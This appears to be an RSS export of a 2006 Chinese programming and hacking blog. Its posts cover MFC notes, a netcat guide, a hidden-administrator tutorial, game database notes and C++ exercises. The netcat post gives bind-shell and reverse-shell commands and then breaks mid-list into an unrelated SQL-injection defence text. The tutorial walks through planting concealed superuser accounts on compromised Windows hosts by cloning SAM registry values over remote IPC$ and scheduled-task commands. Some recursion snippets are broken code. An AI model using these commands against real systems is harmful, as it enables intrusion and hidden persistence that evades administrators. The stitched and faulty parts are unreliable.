CString：用来表示可变长度的字符串。使用CString可不指明内存大小，CString会根据需要自行分配。下面介绍几个成员函数： <br />
<br />
GetLength 得到字符串长度 <br />
GetAt 得到指定位置处的字符 <br />
operator + 相当于strcat <br />
void Format( LPCTSTR lpszFormat, ... ); 相当于sprintf <br />
Find 查找指定字符，字符串 <br />
Compare 比较 <br />
CompareNoCase 不区分大小写比较 <br />
MakeUpper 改为小写 <br />
MakeLower 改为大写 <br />
<br />
CStringArray：用来表示可变长度的字符串数组。数组中每一个元素为CString对象的实例。下面介绍几个成员函数： <br />
<br />
Add 增加CString <br />
RemoveAt 删除指定位置CString对象 <br />
RemoveAll 删除数组中所有CString对象 <br />
GetAt 得到指定位置的CString对象 <br />
SetAt 修改指定位置的CString对象 <br />
InsertAt 在某一位置插入CString对象 <br />
<br />
常用宏<br />
<br />
RGB<br />
<br />
TRACE<br />
<br />
ASSERT<br />
<br />
VERIFY<br />
<br />
<br />
常用函数<br />
<br />
CWindApp* AfxGetApp();<br />
<br />
HINSTANCE AfxGetInstanceHandle( );<br />
<br />
HINSTANCE AfxGetResourceHandle( );<br />
<br />
int AfxMessageBox( LPCTSTR lpszText, UINT nType = MB_OK, UINT nIDHelp = 0 );用于弹出一个消息框 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/fcf89bca53ecfd86c8176868.html#comment">查看评论</a>]]></description>
        <pubDate>2006/11/25  01:13</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/fcf89bca53ecfd86c8176868.html</guid>
</item>

<item>
        <title><![CDATA[nc的说明及使用[转]]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/47b601b3bf0718a7d8335a6f.html]]></link>
        <description><![CDATA[
		
		netcat被誉为网络安全界的&lsquo;瑞士军刀&rsquo;，相信没有什么人不认识它吧...... <br />
一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具， <br />
能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几 <br />
乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。 <br />
<br />
在中国，它的WINDOWS版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由&lsquo;红与黑&rsquo;编译 <br />
后的新&lsquo;浓缩&rsquo;版。&lsquo;浓缩&rsquo;版的主程序只有10多KB（10多KB的NC是不能完成下面所说的第4、第5种使用方法， <br />
有此功能的原版NC好象要60KB：P），虽然&ldquo;体积&rdquo;小，但很完成很多工作。 <br />
======================================================<br />
软件介绍： <br />
<br />
工具名：Netcat <br />
作者：Hobbit &amp;&amp; Chris Wysopal <br />
网址：http://www.atstake.com/research/tools/network_utilities/ <br />
类别：开放源码 <br />
平台：Linux/BSD/Unix/Windows <br />
WINDOWS下版本号：[v1.10 NT] <br />
<br />
===================================================================================================== <br />
参数介绍： <br />
<br />
nc.exe -h即可看到各参数的使用方法。 <br />
基本格式：nc [-options] hostname port[s] [ports] ... <br />
nc -l -p port [options] [hostname] [port] <br />
<br />
-d 后台模式 <br />
-e prog 程序重定向，一旦连接，就执行 [危险!!] <br />
-g gateway source-routing hop point[s], up to 8 <br />
-G num source-routing pointer: 4, 8, 12, ... <br />
-h 帮助信息 <br />
-i secs 延时的间隔 <br />
-l 监听模式，用于入站连接 <br />
-L 连接关闭后,仍然继续监听 <br />
-n 指定数字的IP地址，不能用hostname <br />
-o file 记录16进制的传输 <br />
-p port 本地端口号 <br />
-r 随机本地及远程端口 <br />
-s addr 本地源地址 <br />
-t 使用TELNET交互方式 <br />
-u UDP模式 <br />
-v 详细输出--用两个-v可得到更详细的内容 <br />
-w secs timeout的时间 <br />
-z 将输入输出关掉--用于扫描时 <br />
<br />
端口的表示方法可写为M-N的范围格式。 <br />
<br />
<br />
===================================================================================================== <br />
基本用法： <br />
<br />
大概有以下几种用法： <br />
<br />
1)连接到REMOTE主机，例子： <br />
格式：nc -nvv 192.168.x.x 80 <br />
讲解：连到192.168.x.x的TCP80端口 <br />
<br />
<br />
2)监听LOCAL主机，例子： <br />
格式：nc -l -p 80 <br />
讲解：监听本机的TCP80端口 <br />
<br />
<br />
3)扫描远程主机，例子： <br />
格式：nc -nvv -w2 -z 192.168.x.x 80-445 <br />
讲解：扫描192.168.x.x的TCP80到TCP445的所有端口 <br />
<br />
<br />
4)REMOTE主机绑定SHELL，例子： <br />
格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe <br />
讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 <br />
<br />
<br />
5)REMOTE主机绑定SHELL并反向连接，例子： <br />
格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 <br />
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 <br />
<br />
<br />
以上为最基本的几种用法（其实NC的用法还有很多， <br />
当配合管道命令&ldquo;|&rdquo;与重定向命令&ldquo;&lt;&rdquo;、&ldquo;&gt;&rdquo;等等命令功能更强大......）。 <br />
<br />
===================================================================================================== <br />
高级用法： <br />
<br />
6)作攻击程序用，例子： <br />
格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 <br />
格式2：nc -nvv 192.168.x.x 80 &lt; c:exploit.txt <br />
讲解：连接到192.168.x.x的80端口，并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果， <br />
真是有异曲同工之妙:P) <br />
<br />
附：c:exploit.txt为shellcode等 <br />
<br />
<br />
7)作蜜罐用[1]，例子： <br />
格式：nc -L -p 80 <br />
讲解：使用-L(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止 <br />
<br />
<br />
8)作蜜罐用[2]，例子： <br />
格式：nc -L -p 80 &gt; c:log.txt <br />
讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到c:log.txt中，如果把&lsquo;&gt;&rsquo; <br />
改为&lsquo;&gt;&gt;&rsquo;即可以追加日志 <br />
<br />
附：c:log.txt为日志等 <br />
<br />
<br />
9)作蜜罐用[3]，例子： <br />
格式1：nc -L -p 80 &lt; c:honeypot.txt <br />
格式2：type.exe c:honeypot.txt|nc -L -p 80 <br />
讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，并把c:honeypot.txt的内容&lsquo;送&rsquo;入其 <br />
管道中 <br />
如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询，他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能，欺骗系统授予访问权限。 　　系统环境不同，攻击者可能造成的损害也不同，这主要由应用访问数据库的安全权限决定。如果用户的帐户具有管理员或其他比较高级的权限，攻击者就可能对数据库的表执行各种他想要做的操作，包括添加、删除或更新数据，甚至可能直接删除表。 二、如何防范？ 　　好在要防止ASP.NET应用被SQL注入式攻击闯入并不是一件特别困难的事情，只要在利用表单输入的内容构造SQL命令之前，把所有输入内容过滤一番就可以了。过滤输入内容可以按多种方式进行。 　　⑴ 对于动态构造SQL查询的场合，可以使用下面的技术： 　　第一：替换单引号，即把所有单独出现的单引号改成两个单引号，防止攻击者修改SQL命令的含义。再来看前面的例子，&ldquo;SELECT * from Users WHERE login = or 1=1 AND password = or 1=1&rdquo;显然会得到与&ldquo;SELECT * from Users WHERE login = or 1=1 AND password = or 1=1&rdquo;不同的结果。 　　第二：删除用户输入内容中的所有连字符，防止攻击者构造出类如&ldquo;SELECT * from Users WHERE login = mas -- AND password =&rdquo;之类的查询，因为这类查询的后半部分已经被注释掉，不再有效，攻击者只要知道一个合法的用户登录名称，根本不需要知道用户的密码就可以顺利获得访问权限。 　　第三：对于用来执行查询的数据库帐户，限制其权限。用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作，因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。 　　⑵ 用存储过程来执行所有的查询。SQL参数的传递方式将防止攻击者利用单引号和连字符实施攻击。此外，它还使得数据库权限可以限制到只允许特定的存储过程执行，所有的用户输入必须遵从被调用的存储过程的安全上下文，这样就很难再发生注入式攻击了。 　　⑶ 限制表单或查询字符串输入的长度。如果用户的登录名字最多只有10个字符，那么不要认可表单中输入的10个以上的字符，这将大大增加攻击者在SQL命令中插入有害代码的难度。 　　⑷ 检查用户输入的合法性，确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行&mdash;&mdash;之所以要执行服务器端验证，是为了弥补客户端验证机制脆弱的安全性。 　　在客户端，攻击者完全有可能获得网页的源代码，修改验证合法性的脚本（或者直接删除脚本），然后将非法内容通过修改后的表单提交给服务器。因此，要保证验证操作确实已经执行，唯一的办法就是在服务器端也执行验证。你可以使用许多内建的验证对象，例如RegularExpressionValidator，它们能够自动生成验证用的客户端脚本，当然你也可以插入服务器端的方法调用。如果找不到现成的验证对象，你可以通过CustomValidator自己创建一个。 　　⑸ 将用户登录名称、密码等数据加密保存。加密用户输入的数据，然后再将它与数据库中保存的数据比较，这相当于对用户输入的数据进行了&ldquo;消毒&rdquo;处理，用户输入的数据不再对数据库有任何特殊的意义，从而也就防止了攻击者注入SQL命令。System.Web.Security.FormsAuthentication类有一个HashPasswordForStoringInConfigFile，非常适合于对输入数据进行消毒处理。 　　⑹ 检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录，但实际返回的记录却超过一行，那就当作出错处理。 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%BA%DA%BF%CD%CE%C4%BC%AF">黑客文集</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/47b601b3bf0718a7d8335a6f.html#comment">查看评论</a>]]></description>
        <pubDate>2006/11/25  01:09</pubDate>
        <category><![CDATA[黑客文集]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/47b601b3bf0718a7d8335a6f.html</guid>
</item>

<item>
        <title><![CDATA[建立隐藏的超级用户 (转)]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/8c1cbcfb433637224e4aea6c.html]]></link>
        <description><![CDATA[
		
		前几天在某个网站(记不清了，不好意思 ^_*）上看到了一篇介绍如何建立隐藏的超级用户的图文教程，给我了很大的启发，作者只说明了如何在本地图形界面下建立隐藏的超级用户，且作者说他无法在命令行下实现隐藏的超级用户的建立，于是我就开始自已摸索，刚开始时，我用reg.exe（3.0版)作为命令行下导出导入注册表文件的工具，但每次导入以后，建立的隐藏的超级用户总不能用，后来打开注册表查看，发现这个隐藏的超级用户的默认数据类型并没有被导入注册表。由于这种数据类型是十六进制数表示的（如administrator的默认数据类型为000001F4，下面例子中的hacker$的数据类型是00000409)而不是我们常说的字符串型、dword型、二进制型等数据类型，reg.exe不能识别，因而也就无法导入，而在图形界面下用注册表编辑器regedit.exe却能够将这种数据类型导入，后来一想regedit.exe是一个两栖程序，它既可以在windows界面下运行，也可以在DOS下运行，既然图形界面regedit.exe能够导入这种数据类型，那么DOS下面的它也应该能够导入这种数据类型，后来经试验证明了我的想法。下面我把我实现这个隐藏的超级用户建立方法介绍如下： <br />
<br />
一、如何在图形界面建立隐藏的超级用户 <br />
<br />
图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好，但是较为复杂，还要用到psu.exe(让程序以系统用户身份运行的程序），如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序，修改键值的权限时在右键中点&ldquo;权限&rdquo;来修改。对regedit.exe我想大家都很熟悉，但却不能对注册表的项键设置权限，而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下，但是除了系统用户SYSTEM外，其它用户都无权查看到里面的信息，因此我首先用regedt32.exe对SAM键为我设置为&ldquo;完全控制&rdquo;权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下： <br />
<br />
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 <br />
<br />
net user hacker$ 1234 /add <br />
<br />
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。 <br />
<br />
3、点&ldquo;权限&rdquo;以后会弹出窗口 <br />
<br />
点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为&ldquo;完全控制&quot;。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。 <br />
<br />
4、再点&ldquo;开始&rdquo;&rarr;&ldquo;运行&rdquo;并输入&quot;regedit.exe&quot; 回车,启动注册表编辑器regedit.exe。 <br />
<br />
打开键：HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$&quot; <br />
<br />
5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键&quot;F&quot;的值复制，并覆盖hacker$对应的项00000409下的键&quot;F&quot;的值,然后再将00000409.reg与hacker.reg合并。 <br />
<br />
6、在命令行下执行net user hacker$ /del将用户hacker$删除：net user hacker$ /del <br />
<br />
7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可 <br />
<br />
8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子（只要删除添加的帐户administrator即可）。 <br />
<br />
9、注意：隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用&ldquo;net user&rdquo;命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。 <br />
<br />
如何在命令行下远程建立隐藏的超级用户 <br />
<br />
在这里将用at的命令，因为用at产生的计划任务是以系统身份运行的，所以也用不到psu.exe程序。为了能够使用at命令，肉鸡必须开有schedule的服务，如果没有开启，可用流光里带的工具netsvc.exe或sc.exe来远程启动，当然其方法也可以，只要能启动schedule服务就行。 <br />
<br />
对于命令行方式，你可以采用各种连接方式，如用SQLexec连接MSSQL的1433端口，也可以用telnet服务，只要以你能得到一个cmdshell，并且有运行at命令的权限就可以。 <br />
<br />
1、首先找到一台肉鸡，至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡，现在我们开始在命令行下远程为它建立隐藏的超级用户。（例子中的主机是我的局域网内的一台主机，我将它的ip地址改为13.50.97.238,，请勿在互联网上对号入座,以免骚扰正常的ip地址。） <br />
2、先与肉鸡建立连接,命令为: net use \\13.50.97.238\ipc$ &quot;12345678&quot; /user:&quot;administrator <br />
<br />
3、用at命令在肉鸡上建立一个用户(如果at服务没有启动，可用小榕的netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51 <br />
<br />
c:\winnt\system32\net.exe user hacker$ 1234 /add <br />
<br />
建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。 <br />
<br />
4、同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值：at \\13.50.97.238 12:55 <br />
<br />
c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\ <br />
<br />
/e 是regedit.exe的参数，在_LOCAL_MACHINE\SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引号将&quot;c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\&quot;引起来。 <br />
<br />
5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为：copy \\13.50.97.238\admin$\system32\hacker.reg <br />
<br />
c:\hacker.reg <br />
<br />
修改的方法图形界中已经介绍过了，这里就不作介绍了。 <br />
<br />
6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg <br />
<br />
7、查看肉鸡时间：net time \\13.50.97.238 然后用at命令将用户hacker$删除: <br />
<br />
at \\13.50.97.238 13:40 net user hacker$ /del <br />
<br />
8、验证hacker$是否删除:用 <br />
<br />
net use \\13.50.97.238 /del 断开与肉鸡的连接。 <br />
<br />
net use \\13.50.97.238\ipc$ &quot;1234&quot; /user:&quot;hacker$&quot; 用帐户hacker$与肉鸡连接，不能连接说明已删除。 <br />
<br />
9、再与肉鸡建立连接：net use \\13.50.97.238\ipc$ &quot;12345678&quot; /user:&quot;administrator&quot; <br />
<br />
再取得肉鸡时间，用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表: <br />
<br />
at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg <br />
<br />
regedit.exe的参数/s是指安静模式。 <br />
<br />
10、再验证hacker$是否已建立，方法同上面验证hacker$是否被删除一样。 <br />
<br />
11、再验证用户hacker$是否有读、写、删的权限，如果不放心，你还可验证是否能建立其它帐户。 <br />
<br />
12、通过11可以断定用户hacker$具有超级用户权限，因为最初我用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删的权限。 <br />
<br />
三、如果肉鸡没有开3389终端服务，而我又不想用命令行，怎么办？ <br />
<br />
这种情况下，你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能，你可以用regedt32.exe来为远程主机的注册表项设置权限，用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能，你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似，我就不多说了，只它的速度实在是令人难以忍受。 <br />
<br />
但是这里有两个前提：<br />
<br />
1、先用net use \\肉鸡ip\ipc$ &quot;密码&quot; /user:&quot;超级用户名&quot;来与远程主机建立连接以后，才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。 <br />
<br />
2、远程主机必须开启远程注册表服务（没有开启的话，你也可以远程开启，因为你有超级用户的密码了）。 <br />
<br />
四、利用被禁用的帐户建立隐藏的超级用户： <br />
<br />
我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下: <br />
<br />
1．想办法查看有哪些用户被细心的管理员禁止，一般情况下，有些管理员出于安全考虑，通常会将guest禁用，当然了会禁用其它用户。在图形界面下，非常容易，只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉；而在命令行下，我还没有想到好的办法，只能在命令行下用命令：&quot;net user 用户名&quot;一个一个来查看用户是否被禁用。 <br />
<br />
2．在这里，我们假设用户hacker被管理员禁用。首先，我先用小榕的超组用户克隆程序CA.exe，将被禁用的用户hacker 克隆成超级用户（克隆之后，被禁用的用户hacker就会自动被激活了）: CA.EXE \\肉鸡ip Administrator 超级用户密码 hacher hacher密码。 <br />
<br />
3．如果你现在一个cmdshell，如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以，这时你只要输入命令： <br />
<br />
net user hacker /active:no 这样用户hacker就被禁用了（至少表面上是这样的），当然你也可以将用户hacher换成其它的被禁用的用户。 <br />
<br />
4．这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了，但事实上是这样的吗？你用这个被禁用的用户连接一下肉鸡看看是否能连上？用命令：net user \\肉鸡ip\ipc$ &quot;hacker密码&quot; /user:&quot;hacker&quot; 连一连看看。我可以告诉大家，经过我多次试验，次次都能成功，而且还是超级用户权限。 <br />
<br />
5．如果没有cmdshell怎么办？你可以我上面介绍的at命令来禁用用户hacker;命令格式：at \\肉鸡ip 时间 net user hacker /active:no <br />
<br />
6．原理：具体的高深的原理我也说不上来，我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看，肯定会弹出一对话框，并禁止你继续禁用超级用户administrator，同样，因为在克隆时，hacker在注册表的&quot;F&quot;键被超级用户administrator在注册表的&quot;F&quot;键所替代，因而hacker就具有了超级用户的权限了，但是由于hacker在注册表内&quot;C&quot;健还是原来的&quot;C&quot;键，所以hacker还是会被禁用，但是它的超级用户权限却不会被禁用，因此被禁用的用户hacker还是可以连接肉鸡，而且还具有超级用户的权限。具体我也说不明白，大家权且这么理解吧。 <br />
<br />
五、注意的几点事项： <br />
<br />
1、隐藏的超级用户建立以后，在帐户管理器中和命令行下均看不到这个用户，但这个用户却存在。 <br />
<br />
2、隐藏的超级用户建立以后，就不能再修改密码了，因为一旦修改密码，这个隐藏的超级用户就会暴露在帐户管理器中，而且不能删除。 <br />
<br />
3、如在本机上试验时，最好用系统自带的备份工具先备份好本机的&ldquo;系统状态&rdquo;主要是注册表的备份，因为本人做试验时，曾出现过帐户管理器中看不到任何用户，组中也看不到任何组的现象，但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。 <br />
<br />
4、本方法在2000/XP上测试通过，未在NT上测试。本方法仅供研究，请勿将本方法用于破坏上，利用本方法造成严重后果者，由使用者负责，本人概不负责。 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%BA%DA%BF%CD%CE%C4%BC%AF">黑客文集</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/8c1cbcfb433637224e4aea6c.html#comment">查看评论</a>]]></description>
        <pubDate>2006/11/25  00:54</pubDate>
        <category><![CDATA[黑客文集]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/8c1cbcfb433637224e4aea6c.html</guid>
</item>

<item>
        <title><![CDATA[Mangos数据库结构认识(中文标注)(转)]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/d3a1fc1fb0163163f724e463.html]]></link>
        <description><![CDATA[
		
		account 帐号<br />
areatrigger_involvedrelation 传送(区域触发)包含的关系，可能<br />
areatrigger_tavern 进传送门id指向template----OK触发<br />
areatrigger_template 传送区域的具体坐标等(副本都在里边与travern所对应)<br />
auctionhouse 拍卖行(参数--观看时所对应)<br />
auctionhouse_bid 拍卖行的投标<br />
auctionhouse_item 拍卖的清单<br />
bugreport 应该是给GM发信所对应的数据<br />
character 创建的人物资料对应playercreateinfo<br />
character_action 创建的人物所会的技能对应playercreateinfo_action(仅出生)<br />
character_aura 不明<br />
character_homebind 创建人物的出生地<br />
character_inventory 创建人物的包里的东西<br />
character_kill 创建人物的荣誉信息(杀或被杀，有无荣誉等)<br />
character_pet 创建人物的宠物信息<br />
character_queststatus 创建人物的任务信息<br />
character_reputation 可能是声望(不明)<br />
character_social 好友列表<br />
character_spell 人物的魔法书(仅会魔法的人才会出现ID)<br />
character_ticket 不明<br />
character_tutorial 不明<br />
command GM命令<br />
creature NPC 怪物等信息<br />
creature_grid 可能是跟NPC对话的有效距离(不明)<br />
creature_involvedrelation NPC或怪物(特殊类)可给与任务(不明)<br />
creature_movement 怪物或NPC移动的关系，活动范围<br />
creature_questrelation 不明<br />
creature_template 怪物或NPC的具体信息如HP，SP等<br />
game_corpse 尸体所在地信息<br />
game_graveyard 人物死亡后所回到的墓地(复活需要对应game_corpse表)<br />
game_spell 魔法(参数有可以创造什么，比如FS做水)<br />
game_talent 游戏的天赋系统<br />
game_weather 天气系统<br />
gameobject 物品信息(地上的箱子，草，矿)仅刷新点，时间，位置<br />
gameobject_grid 可以拿取的有效距离(不明)<br />
gameobject_template 具体物品信息所对应的 草，矿等<br />
guild 工会信息<br />
guild_member 工会成员<br />
guild_rank 工会的阶级系统<br />
ip_banned 被封的IP列表<br />
item_instance 不明（）<br />
item_page 游戏中一些信件等的具体内容<br />
item_template 道具及任务物品的详细信息<br />
loot_template 掉率<br />
mail 邮件系统<br />
mail_item 邮物品的信息<br />
npc_gossip NPC没事说的话，比如暴风城的小孩，BOSS遇到你说的话<br />
npc_gossip_textid 话的内容对应NPC_gossip<br />
npc_option 不明<br />
npc_text 跟NPC说话的内容，不同于任务内容<br />
npc_trainer 训练师所对应的内容<br />
npc_vendor 卖东西的NPC<br />
object_involvedrelation object物品与任务之间的联系（和object_questrelation有关）<br />
object_questrelation object物品触发任务之间的联系<br />
playercreateinfo 人物出生的信息，character是根据此系列来的，就不解释了<br />
quest_template 任务的详细信息(可接范围等)对应QUESTID可能跟object_involvedrelation有关系<br />
realmlist 服务器的登入信息(服务器IP等)<br />
taxi_node WOW的飞机系统(具体不明)<br />
taxi_path 飞到哪的价格什么的吧(不明)<br />
taxi_pathnode 飞机的完整表(对应taxi_NODE taxi_path) 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/d3a1fc1fb0163163f724e463.html#comment">查看评论</a>]]></description>
        <pubDate>2006/11/25  00:51</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/d3a1fc1fb0163163f724e463.html</guid>
</item>

<item>
        <title><![CDATA[请用递归的方法求任意输入的10个数之和]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/213bdf00084bf811738b65b6.html]]></link>
        <description><![CDATA[
		
		<p ><strong ></strong ></p >
<p ><strong >观点一：<br />
int sum(int *a, int len)</strong ></p >
<p ><strong >{</strong ></p >
<p ><strong >if(len &lt; 1) return 0;</strong ></p >
<p ><strong >if(len == 1) return *a;&nbsp; </strong ></p >
<p ><strong >int s = *a;<br />
a++;<br />
len--;</strong ></p >
<p ><strong >return s + sum(a,len);</strong ></p >
<p ><strong >}</strong ></p >
<p ><strong ></strong ></p >
<p ><br />
<strong >观点二:<br />
如下,假设这几个数都是整形的:<br />
int Sum(int index,int Digtal[])<br />
{<br />
&nbsp;&nbsp;&nbsp; if(index == 9)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return Digtal[index];<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; int sum = 0;<br />
&nbsp;&nbsp;&nbsp; sum + = Sum(index+1,Digtal);<br />
&nbsp;&nbsp;&nbsp; return sum; <br />
}</strong ></p >
<p ><br />
<strong >个人观点:<br />
int A::recursion(int sum,int flag)<br />
{<br />
&nbsp;int k;<br />
&nbsp;if(flag==0) return sum;<br />
&nbsp;else<br />
&nbsp;{<br />
&nbsp;&nbsp;flag--;<br />
&nbsp;&nbsp;cin &gt;&gt; k;<br />
&nbsp;&nbsp;sum =k +sum;<br />
&nbsp;&nbsp;recursion(sum,flag);<br />
&nbsp;}<br />
}</strong ></p > 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/213bdf00084bf811738b65b6.html#comment">查看评论</a>]]></description>
        <pubDate>2006/10/11  13:36</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/213bdf00084bf811738b65b6.html</guid>
</item>

<item>
        <title><![CDATA[C++]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/08bfc2bff46bb50a18d81fb6.html]]></link>
        <description><![CDATA[
		
		<p ><strong >&nbsp;&nbsp; #include&nbsp; &lt;filename.h&gt;&nbsp;&nbsp;&nbsp; 和&nbsp; #include&nbsp; &ldquo;filename.h&rdquo;&nbsp; 有什么区别？（5 分） <br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 答：对于#include&nbsp; &lt;filename.h&gt;&nbsp; ，编译器从标准库路径开始搜索 filename.h <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于#include&nbsp; &ldquo;filename.h&rdquo;&nbsp; ，编译器从用户的工作路径开始搜索 filename.h </strong ></p >
<p >#############################################################################</p >
<p ><br />
<strong >在 C++&nbsp; 程序中调用被 C 编译器编译后的函数，为什么要加 extern &ldquo;C&rdquo;？&nbsp; （5 分） </strong ></p >
<p ><strong >答：C++语言支持函数重载，C 语言不支持函数重载。函数被 C++编译后在库中的名字<br />
&nbsp;&nbsp;&nbsp; 与 C 语言的不同。假设某个函数的原型为：&nbsp; void foo(int x, int y); <br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 该函数被 C 编译器编译后在库中的名字为_foo，而 C++编译器则会产生像<br />
&nbsp;&nbsp;&nbsp; _foo_int_int 之类的名字。 <br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; C++提供了 C 连接交换指定符号 extern&ldquo;C&rdquo;来解决名字匹配问题。 </strong ></p >
<p ><strong >#############################################################################</strong ><br />
<strong >五、编写 strcpy 函数（10 分） <br />
&nbsp;&nbsp;&nbsp; 已知 strcpy 函数的原型是 <br />
&nbsp;&nbsp;&nbsp; char *strcpy(char *strDest, const char *strSrc); <br />
&nbsp;&nbsp;&nbsp; 其中 strDest 是目的字符串，strSrc 是源字符串。 <br />
&nbsp;&nbsp; <br />
&nbsp;&nbsp; （1）不调用 C++/C 的字符串库函数，请编写函数 strcpy <br />
&nbsp;<br />
&nbsp;char *strcpy(char *strDest, const char *strSrc); <br />
&nbsp;{ <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;assert((strDest!=NULL) &amp;&amp; (strSrc !=NULL));&nbsp; // 2分 <br />
